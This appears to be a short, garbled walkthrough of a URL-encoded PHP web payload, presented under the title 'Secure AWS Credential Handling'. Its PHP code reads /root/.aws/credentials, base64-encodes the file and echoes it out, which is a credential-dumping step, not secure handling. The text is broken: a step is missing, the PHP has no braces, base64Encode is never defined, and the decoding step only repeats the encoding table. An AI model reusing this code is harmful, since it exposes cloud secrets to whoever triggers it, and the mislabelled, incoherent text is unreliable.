Feature: Secure AWS Credential Handling with Base64 Encoding/Decoding

Step 1 – Recognizing URL Encoding

The string contains patterns like %3A, %2F, and %3D. These are URL-encoded characters:

• %3A = :
• %2F = /
• %3D = =

The payload also includes -view-php- at the beginning, which is likely an artifact from a plugin, theme, or custom routing mechanism (e.g., ?page=view-php). Removing that prefix and decoding the rest gives us: %3A = : %2F = / %3D = =

Step 2: Read the File

function readFile($filePath) 
    try 
        $content = file_get_contents($filePath);
        if ($content === false) 
            throw new Exception("Failed to read file");
return $content;
     catch (Exception $e) 
        // Handle exception
        return null;

Step 4: Combine and Output

$filePath = '/root/.aws/credentials';
$fileContent = readFile($filePath);
if ($fileContent !== null) 
    $encodedContent = base64Encode($fileContent);
    echo $encodedContent;
 else 
    // Handle error
